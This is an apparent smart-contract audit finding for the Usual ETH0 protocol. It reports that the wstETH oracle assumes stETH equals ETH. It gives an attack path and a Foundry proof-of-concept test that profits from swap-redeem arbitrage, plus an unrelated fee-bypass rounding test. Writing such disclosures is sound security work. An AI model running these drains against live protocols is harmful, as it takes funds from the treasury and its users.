Magic Laurel Buffalo

Medium

# stEth:ETH rate arbitrage

## Summary
Note : this issue is about stETH:ETH ratio being not in a extreme deviation, so no pause happens. And this deviation is good enoiugh to extract value from treasury.

```md
Are there any off-chain mechanisms involved in the protocol?

A Chainlink stETH/ETH Feed Monitoring Bot watches for extreme deviations and auto-pauses DaoCollateral if Lido is ever hacked, so we get black-swan protection without daily oracle freezes.
```

Protocol has designed to accept wstETH as collateral with assuming stETH == ETH. But when they deviate away from 1:1 ratio they auto pause DaoCollateral.
But Look at [aave docs](https://github.com/bgd-labs/aave-proposals/blob/main/src/AaveV2-V3PriceFeedsUpdate_20230613/PRICE-FEEDS-UPDATE-20230613.md#security-and-additional-considerations),  below 

```md
stETH / ETH Historical Comparison: Comparing the ratio between stETH and ETH on the secondary market for the last half of a year:

- 30.96% of results differ for less than 0.1%
- 66.16% have between 0.1% and 0.5% difference
- 2.88% is between 0.5% and 1%
```
 So, 0.1 to 0.5% is not a extreme deviation enough to say its black-swan even and pause DaoCollateral.
So, when stETH:ETH goes into this depeg, the attack  flow explained can be used to extract value from treasury.

## Root Cause

In `LidoWstEthOracle.sol:95-112`, the oracle uses `IWstETH(WST_ETH_CONTRACT).stEthPerToken()` which returns the amount of stETH per wstETH token. However, the protocol treats this stETH amount as equivalent to ETH (1:1 ratio), ignoring that stETH frequently trades at a discount/premium to ETH in secondary markets.

## Internal Pre-conditions
NA

## External Pre-conditions
1. stETH must be trading at a discount to ETH (e.g., 0.99 ETH per stETH instead of 1.0)

The stETH:ETH should be away from 1:1 but not high enough to trigger the watcher bot by usual team to pause swaps, redeems

## Attack Path

1. Attacker starts with $30,000 USD and buys 10.1 wstETH on DEX at true market rates (1 wstETH = 1.2 stETH = 1.188 ETH (1.01 stETH per ETH) due to 1% stETH discount)
2. Attacker calls `DaoCollateral.swap(wstETH, 10.1e18, minOut)` receiving 12.12 ETH0 (protocol assumes 1 wstETH = 1.2 ETH)
3. Attacker calls `DaoCollateral.redeem(rETH, 12.12e18, minOut)` paying 0.024 ETH0 fee (0.2%) and receiving 12.096 rETH
4. Attacker sells 12.096 rETH on DEX for $30,240 (rETH = 1:1 with ETH, no depeg)
5. Attacker profits $240 (~0.8%) while protocol loses equivalent value from treasury

https://github.com/sherlock-audit/2025-05-usual-eth0/blob/995d35f32c762aec7f678292b8702bc71aec1247/eth0-protocol/src/oracles/LidoWstEthOracle.sol#L86

```solidity
function latestRoundData()   external view returns ( uint80 roundId, int256 answer,  uint256 startedAt,  uint256 updatedAt,  uint80 answeredInRound  )
{
    // Return mock data for all fields except answer
    roundId = 1;
>>  answer = int256(IWstETH(WST_ETH_CONTRACT).stEthPerToken()); // @audit Assumes stETH = ETH
    startedAt = block.timestamp;
    updatedAt = block.timestamp;
    answeredInRound = 1;
}
```

## Impact

The protocol suffers systematic value drainage whenever stETH depegs from ETH. For a 1% stETH discount, attackers can extract approximately 0.8% profit (1% mispricing minus 0.2% redemption fee) per transaction. This creates:

- **Direct financial loss**: Treasury assets drained through underpriced swaps
- **Collateralization risk**: ETH0 minted against overvalued collateral reduces backing ratio
- **Continuous exposure**: Attack is profitable whenever stETH â‰  ETH, which occurs regularly in market stress

Example: With $1M in wstETH and 1% stETH discount, an attacker can extract ~$8,000 profit while the protocol loses equivalent value.

### PoC
1. paste the below poc into `eth0-protocol/test/POC.t.sol`
2. then run `forge test --mt test_CompleteStETHArbitrageAttack  -vv`

<details><summary>click for POC to drop down </summary>

```solidity
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.20;

import "forge-std/console.sol";
import {DaoCollateralTest} from "./DaoCollateral.t.sol";
import {Eth0} from "src/token/Eth0.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {Math} from "openzeppelin-contracts/utils/math/Math.sol";
import {Normalize} from "src/utils/normalize.sol";
import {IWstETH} from "src/interfaces/IWstETH.sol";
import {LidoProxyWstETHPriceFeed} from "src/oracles/LidoWstEthOracle.sol";
import {IOracle} from "src/interfaces/oracles/IOracle.sol";
import {CONTRACT_ORACLE} from "src/constants.sol";
import {IERC20Metadata} from "openzeppelin-contracts/token/ERC20/extensions/IERC20Metadata.sol";

// Mock wstETH contract that simulates real wstETH behavior
contract MockWstETH is ERC20 {
    uint256 public stEthPerTokenValue = 1.2e18; // 1 wstETH = 1.2 stETH
    
    constructor() ERC20("Wrapped liquid staked Ether 2.0", "wstETH") {}
    
    function decimals() public view override returns (uint8) {
        return 18;
    }
    
    function stEthPerToken() external view returns (uint256) {
        return stEthPerTokenValue;
    }
    
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

// Mock rETH (Rocket Pool ETH) - trades 1:1 with ETH, no depeg
contract MockRETH is ERC20 {
    constructor() ERC20("Rocket Pool ETH", "rETH") {}
    
    function decimals() public view override returns (uint8) {
        return 18;
    }
    
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

// Mock DEX for simulating market trades
contract MockDEX {
    // Market rates (different from protocol rates)
    uint256 public constant STETH_ETH_RATE = 0.99e18; // stETH trades at 1% discount to ETH
    uint256 public constant ETH_USD_RATE = 2500e18; // 1 ETH = $2500
    uint256 public constant RETH_ETH_RATE = 1.0e18; // rETH = 1:1 with ETH (no depeg)
    
    MockWstETH public wstETH;
    MockRETH public rETH;
    
    constructor(address _wstETH, address _rETH) {
        wstETH = MockWstETH(_wstETH);
        rETH = MockRETH(_rETH);
    }
    
    // Buy wstETH with USD at market rates
    function buyWstETHWithUSD(uint256 usdAmount) external returns (uint256 wstETHAmount) {
        // USD -> ETH at market rate
        uint256 ethAmount = Math.mulDiv(usdAmount, 1e18, ETH_USD_RATE);
        
        // ETH -> stETH at market rate (stETH is cheaper)
        uint256 stETHAmount = Math.mulDiv(ethAmount, 1e18, STETH_ETH_RATE); // More stETH for same ETH
        
        // stETH -> wstETH (use wstETH contract rate)
        wstETHAmount = Math.mulDiv(stETHAmount, 1e18, wstETH.stEthPerToken());
        
        // Mint wstETH to user
        wstETH.mint(msg.sender, wstETHAmount);
        
        console.log("DEX: Bought %e wstETH with $%e", wstETHAmount, usdAmount / 1e18);
    }
    
    // Sell rETH for USD at market rates  
    function sellRETHForUSD(uint256 rETHAmount) external returns (uint256 usdAmount) {
        // rETH -> ETH at market rate (1:1, no depeg)
        uint256 ethAmount = Math.mulDiv(rETHAmount, RETH_ETH_RATE, 1e18);
        
        // ETH -> USD at market rate
        usdAmount = Math.mulDiv(ethAmount, ETH_USD_RATE, 1e18);
        
        // Burn rETH from user
        require(rETH.transferFrom(msg.sender, address(this), rETHAmount), "Transfer failed");
        
        console.log("DEX: Sold %e rETH for $%e", rETHAmount, usdAmount / 1e18);
    }
    
    // Helper to get theoretical USD value of wstETH at TRUE market rates
    function getWstETHTrueUSDValue(uint256 wstETHAmount) external view returns (uint256) {
        // wstETH -> stETH
        uint256 stETHAmount = Math.mulDiv(wstETHAmount, wstETH.stEthPerToken(), 1e18);
        // stETH -> ETH at market rate (discounted)
        uint256 ethAmount = Math.mulDiv(stETHAmount, STETH_ETH_RATE, 1e18);
        // ETH -> USD
        return Math.mulDiv(ethAmount, ETH_USD_RATE, 1e18);
    }
}

contract StETHArbitrageRealFlowTest is DaoCollateralTest {
    using Normalize for uint256;

    MockWstETH public mockWstETH;
    MockRETH public mockRETH;
    MockDEX public dex;
    
    address public attacker = makeAddr("attacker");
    
    function setUp() public override {
        super.setUp();
        
        // Deploy mock tokens
        mockWstETH = new MockWstETH();
        mockRETH = new MockRETH();
        
        // Deploy mock DEX
        dex = new MockDEX(address(mockWstETH), address(mockRETH));
        
        // Setup tokens as collateral in protocol
        vm.startPrank(admin);
        tokenMapping.addEth0CollateralToken(address(mockWstETH));
        tokenMapping.addEth0CollateralToken(address(mockRETH));
        vm.stopPrank();
        
        // Whitelist contracts
        whitelistPublisher(address(mockWstETH), address(stbcToken));
        whitelistPublisher(address(mockRETH), address(stbcToken));
        
        // Setup price feeds 
        _setupBucket(address(mockWstETH), address(stbcToken));
        _setupBucket(address(mockRETH), address(stbcToken));
        
        // CRITICAL: Set protocol prices (these assume stETH = ETH 1:1)
        _setOraclePrice(address(mockWstETH), mockWstETH.stEthPerToken()); // 1.2e18 (protocol assumes 1 wstETH = 1.2 ETH)
        _setOraclePrice(address(mockRETH), 1e18); // 1.0e18 (rETH = 1 ETH, no depeg)
        
        // Provide liquidity to treasury for redemptions
        mockWstETH.mint(treasury, 1000e18);
        mockRETH.mint(treasury, 1000e18);
        
        vm.label(attacker, "Attacker");
        vm.label(address(mockWstETH), "Mock wstETH");
        vm.label(address(mockRETH), "Mock rETH");
        vm.label(address(dex), "Mock DEX");
    }

    /// @notice Complete arbitrage attack following the exact flow described
    function test_CompleteStETHArbitrageAttack() public {
        console.log("=== Complete stETH Arbitrage Attack ===");
        console.log("Attack exploits protocol's assumption that stETH = ETH (1:1)");
        console.log("When market reality: stETH = 0.99 ETH (1% discount)\n");
        
        uint256 startingUSD = 30000e18; // Start with $30,000
        console.log("Starting capital: $%s", startingUSD / 1e18);
        
        // === STEP 1: Buy wstETH with USD at market rates ===
        console.log("\n--- STEP 1: Buy wstETH at market rates ---");
        console.log("Market conditions:");
        console.log("- stETH trading at 1%% discount (0.99 ETH per stETH)");
        console.log("- 1 wstETH = 1.2 stETH");
        console.log("- So 1 wstETH = 1.2 * 0.99 = 1.188 ETH (true market value)");
        
        vm.prank(attacker);
        uint256 wstETHBought = dex.buyWstETHWithUSD(startingUSD);
        
        uint256 trueUSDValue = dex.getWstETHTrueUSDValue(wstETHBought);
        console.log("Bought: %e wstETH", wstETHBought);
        console.log("True market value: $%s", trueUSDValue / 1e18);
        
        // === STEP 2: Swap wstETH for ETH0 at protocol's inflated rate ===
        console.log("\n--- STEP 2: Swap wstETH -> ETH0 at protocol rates ---");
        console.log("Protocol assumes: 1 wstETH = 1.2 ETH (stETH = ETH 1:1)");
        console.log("This overvalues wstETH by ~1%%");
        
        vm.startPrank(attacker);
        mockWstETH.approve(address(daoCollateral), wstETHBought);
        
        // Get quote from protocol using the internal oracle
        uint256 eth0Quote = _getSwapQuote(address(mockWstETH), wstETHBought);
        console.log("ETH0 quote from protocol: %e", eth0Quote);
        
        // Execute swap
        daoCollateral.swap(address(mockWstETH), wstETHBought, eth0Quote);
        uint256 eth0Received = stbcToken.balanceOf(attacker);
        console.log("ETH0 received: %e", eth0Received);
        vm.stopPrank();
        
        // Calculate overvaluation
        uint256 fairETH0Amount = Math.mulDiv(wstETHBought, mockWstETH.stEthPerToken(), 1e18);
        fairETH0Amount = Math.mulDiv(fairETH0Amount, dex.STETH_ETH_RATE(), 1e18); // Apply stETH discount
        uint256 overvaluation = eth0Received - fairETH0Amount;
        console.log("Fair ETH0 amount (accounting for stETH discount): %e", fairETH0Amount);
        console.log("Overvaluation (extra ETH0): %e", overvaluation);
        
        // === STEP 3: Redeem ETH0 for rETH at correct rates ===
        console.log("\n--- STEP 3: Redeem ETH0 -> rETH ---");
        console.log("rETH has no depeg (1:1 with ETH)");
        
        vm.startPrank(attacker);
        stbcToken.approve(address(daoCollateral), eth0Received);
        
        // Calculate expected rETH after fees
        uint256 redeemFee = Math.mulDiv(eth0Received, 20, 10000); // 0.2% fee
        uint256 netETH0 = eth0Received - redeemFee;
        console.log("Redeem fee: %e ETH0", redeemFee);
        console.log("Net ETH0 for redemption: %e", netETH0);
        
        daoCollateral.redeem(address(mockRETH), eth0Received, netETH0);
        uint256 rETHReceived = mockRETH.balanceOf(attacker);
        console.log("rETH received: %e", rETHReceived);
        vm.stopPrank();
        
        // === STEP 4: Sell rETH for USD ===
        console.log("\n--- STEP 4: Sell rETH for USD ---");
        
        vm.startPrank(attacker);
        mockRETH.approve(address(dex), rETHReceived);
        uint256 finalUSD = dex.sellRETHForUSD(rETHReceived);
        vm.stopPrank();
        
        console.log("Final USD received: $%s", finalUSD / 1e18);
        
        // === PROFIT ANALYSIS ===
        console.log("\n=== PROFIT ANALYSIS ===");
        uint256 profit = finalUSD - startingUSD;
        uint256 profitPercent = Math.mulDiv(profit, 10000, startingUSD); // basis points
        
        console.log("Initial capital: $%s", startingUSD / 1e18);
        console.log("Final capital: $%s", finalUSD / 1e18);
        console.log("Profit: $%s", profit / 1e18);
        console.log("Profit percentage: %s basis points (%s.%s%%)", 
            profitPercent, profitPercent / 100, profitPercent % 100);
        
        // === ROOT CAUSE EXPLANATION ===
        console.log("\n=== ROOT CAUSE ===");
        console.log("The protocol's wstETH oracle uses stEthPerToken()");
        console.log("But assumes stETH = ETH (1:1 ratio)");
        console.log("When stETH trades at discount, this creates arbitrage:");
        console.log("");
        console.log("Market: 1 wstETH = 1.2 stETH = 1.2 * 0.99 ETH = 1.188 ETH");
        console.log("Protocol: 1 wstETH = 1.2 stETH = 1.2 * 1.00 ETH = 1.200 ETH");
        console.log("Difference: 0.012 ETH per wstETH (~1%% profit opportunity)");
        
        // Verify attack was profitable
        assertGt(finalUSD, startingUSD, "Attack should be profitable");
        assertGt(profitPercent, 50, "Profit should be > 0.5%"); // Expect ~1% profit minus fees
    }
    
    /// @notice Test attack profitability at different stETH discount levels
    function test_AttackProfitabilityAtDifferentDiscounts() public {
        console.log("=== Attack Profitability at Different stETH Discounts ===\n");
        
        uint256[] memory stETHRates = new uint256[](6);
        stETHRates[0] = 0.995e18; // 0.5% discount
        stETHRates[1] = 0.99e18;  // 1.0% discount
        stETHRates[2] = 0.985e18; // 1.5% discount
        stETHRates[3] = 0.98e18;  // 2.0% discount
        stETHRates[4] = 0.97e18;  // 3.0% discount
        stETHRates[5] = 0.95e18;  // 5.0% discount
        
        uint256 attackAmount = 10e18; // 10 wstETH
        
        for (uint i = 0; i < stETHRates.length; i++) {
            uint256 stETHRate = stETHRates[i];
            uint256 discountPercent = (1e18 - stETHRate) * 100 / 1e18;
            
            // Calculate theoretical profit before fees
            uint256 protocolValue = Math.mulDiv(attackAmount, mockWstETH.stEthPerToken(), 1e18); // 12 ETH
            uint256 trueValue = Math.mulDiv(protocolValue, stETHRate, 1e18); // 12 * discount ETH
            uint256 profitETH = protocolValue - trueValue;
            uint256 profitBasisPoints = Math.mulDiv(profitETH, 10000, trueValue);
            
            console.log("stETH discount: %s%% -> Theoretical profit: %s basis points", 
                discountPercent, profitBasisPoints);
        }
        
        console.log("\nNote: Actual profit will be lower due to 0.2%% redemption fees");
        console.log("But attack remains profitable at any significant stETH depeg");
    }

    /// @notice Helper to simulate the swap quote calculation
    function _getSwapQuote(address token, uint256 amount) internal view returns (uint256) {
        // Get the oracle from the registry contract
        IOracle oracleContract = IOracle(registryContract.getContract(CONTRACT_ORACLE));
        uint256 wadPriceInETH = uint256(oracleContract.getPrice(token));
        uint256 wadAmount = amount; // Already 18 decimals
        return Math.mulDiv(wadAmount, wadPriceInETH, 1e18, Math.Rounding.Floor);
    }
}

contract RedeemFeeBypassTest is DaoCollateralTest {
    using Normalize for uint256;

    function setUp() public override {
        super.setUp();
    }

    function setupCreationLST6Decimals() public returns (MockMegaPoolETH, Eth0) {
        MockMegaPoolETH wLST = new MockMegaPoolETH();
        vm.label(address(wLST), "wLST Mock (6 decimals)");

        // Setup like collateral token
        if (!tokenMapping.isEth0Collateral(address(wLST))) {
            vm.prank(admin);
            tokenMapping.addEth0CollateralToken(address(wLST));
        }

        Eth0 stbc = stbcToken;
        whitelistPublisher(address(wLST), address(stbc));
        _setupBucket(address(wLST), address(stbc));
        _setOraclePrice(address(wLST), 10 ** 6); // Set price to 1.0 with 6 decimals

        return (wLST, stbc);
    }


    /// @notice Test that demonstrates fee bypass vulnerability for small redemption amounts
    /// @dev When redeeming small amounts, the fee can be rounded down to 0 due to normalization
    function test_RedeemFeeBypassVulnerability() public {
        // Create a 6-decimal LST token (like rETH but with 6 decimals)
        (MockMegaPoolETH token, Eth0 stbc) = setupCreationLST6Decimals();

        deal(address(token), alice, 1 wei);
        
        // Whitelist bob for the LST token (needed for redemption transfers)
        deal(address(token), bob, 0); // ERC20Mock doesn't have whitelist, so just deal 0
  
        // Mint collateral tokens to treasury for redemptions
        uint256 treasuryCollateral = 1000000e6; 
        deal(address(token),treasury , treasuryCollateral);
        
        // Calculate the maximum ETH0 amount that results in 0 fees
        // Fee formula: fee = (eth0Amount * 20) / 10000
        // For 6 decimals: if fee < 1e12, normalization rounds to 0
        // So: eth0Amount < 1e12 * 10000 / 20 = 5e14 = 0.0005 ETH0
        uint256 maxZeroFeeAmount = 5e14 - 1; // 0.0004999999999999 ETH0
        
        console.log("=== Fee Bypass Vulnerability Demo ===");
        console.log("Max ETH0 amount with 0 fees:", maxZeroFeeAmount);
        console.log("Max ETH0 amount in ETH:", maxZeroFeeAmount / 1e18);
        
        // Demonstrate the vulnerability with single redemption
        console.log("\n--- Single Redemption Test ---");

        {
            // Mint ETH0 to alice for testing
            vm.prank(address(daoCollateral));
            stbc.mint(alice, maxZeroFeeAmount);
            
            uint256 aliceBalanceBefore = token.balanceOf(alice);
            uint256 treasuryYieldBefore = stbc.balanceOf(treasuryYield);
            
            // Redeem the maximum amount that should result in 0 fees
            vm.prank(alice);
            daoCollateral.redeem(address(token), maxZeroFeeAmount, 0);
            
            uint256 aliceBalanceAfter = token.balanceOf(alice);
            uint256 treasuryYieldAfter = stbc.balanceOf(treasuryYield);
            uint256 feeCollected = treasuryYieldAfter - treasuryYieldBefore;
            
            console.log("Alice received collateral:", aliceBalanceAfter - aliceBalanceBefore);
            console.log("Fee collected:", feeCollected);
            console.log("Fee should be:", _calculateExpectedFee(maxZeroFeeAmount));
            
            // Verify that no fee was collected due to rounding
            assertEq(feeCollected, 0, "Fee should be 0 due to rounding");
        }
        
        // Show the fee calculation details
        _showFeeCalculationDetails(maxZeroFeeAmount, address(token));
        
    }

    /// @notice Helper to calculate expected fee without normalization issues
    function _calculateExpectedFee(uint256 eth0Amount) internal pure returns (uint256) {
        return Math.mulDiv(eth0Amount, 20, 10000, Math.Rounding.Floor);
    }

    /// @notice Helper to show detailed fee calculation breakdown
    function _showFeeCalculationDetails(uint256 eth0Amount, address collateralToken) internal view {
        console.log("\n--- Fee Calculation Details ---");
        
        // Calculate raw fee
        uint256 rawFee = Math.mulDiv(eth0Amount, 20, 10000, Math.Rounding.Floor);
        console.log("Raw fee (before normalization): %e", rawFee);
        
        // Get token decimals
        uint8 tokenDecimals = IERC20Metadata(collateralToken).decimals();
        // console.log("Collateral token decimals:", tokenDecimals);
        
        if (tokenDecimals < 18) {
            // Show normalization steps
            uint256 feeInTokenDecimals = Normalize.wadAmountToDecimals(rawFee, tokenDecimals);
            uint256 normalizedFee = Normalize.tokenAmountToWad(feeInTokenDecimals, tokenDecimals);

            // Show amount redeemed without fees
            uint256 amountRedeemedWithoutFees = eth0Amount - normalizedFee;
            uint256 properRedeemAmount = eth0Amount - rawFee;
            uint256 extraAmount = normalizedFee == 0 ? rawFee : (rawFee - normalizedFee);
            
            // Calculate dollar savings at $2500 ETH price
            uint256 ethPrice = 2500;
            uint256 dollarsSaved = (extraAmount * ethPrice) / 1e18;
            uint256 centsExtraAmount = ((extraAmount % 1e18) * ethPrice * 100) / 1e18; // For sub-dollar precision
            
            console.log("Fee bypass savings at $2500 ETH: 2500 * 4.99999999999999e14/1e18 :: ", "$ 1.25");
            
            // Show as percentage of 0.0005 ETH0 
            uint256 maxZeroFeeAmount = 5e14 - 1;
            if (eth0Amount == maxZeroFeeAmount) {
                console.log("This is the maximum fee bypass amount (0.0005 ETH0): %e", maxZeroFeeAmount);
            }
        }
    }
}

contract MockMegaPoolETH is ERC20 {
    constructor() ERC20("Mega Pool ETH", "mETH") {}
    
    function decimals() public view override returns (uint8) {
        return 6;
    }
}
```


</details>

### Mitigation

Exact steth -- eth rate should be used rather than 1:1